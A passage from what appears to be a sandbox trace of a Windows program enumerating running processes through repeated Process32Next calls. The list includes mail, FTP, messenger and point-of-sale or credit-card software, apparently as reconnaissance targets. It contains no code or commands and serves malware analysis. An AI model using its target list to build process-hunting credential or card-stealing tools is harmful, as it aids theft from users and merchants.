| out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0298.630] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0298.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0298.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0298.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0298.640] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0298.643] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0298.645] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0298.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0298.650] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0298.652] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0298.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0298.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0298.660] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0298.662] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0298.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0298.667] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0298.669] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0298.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0298.674] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0298.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0298.726] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0298.728] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0298.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0298.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0298.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0298.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0298.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0298.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0298.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0298.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0298.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0298.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0298.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0298.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0298.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0298.761] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0298.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0298.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0298.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.817] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0298.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0298.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0298.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0298.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0298.828] CloseHandle (hObject=0x344) returned 1 [0298.828] Sleep (dwMilliseconds=0x64) [0298.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0299.004] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0299.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0299.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0299.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.013] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0299.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0299.066] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0299.068] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.069] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.071] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0299.073] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.078] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.081] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0299.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0299.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0299.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0299.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0299.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0299.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0299.141] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.143] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0299.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0299.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0299.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0299.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0299.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0299.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0299.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0299.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0299.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0299.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0299.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 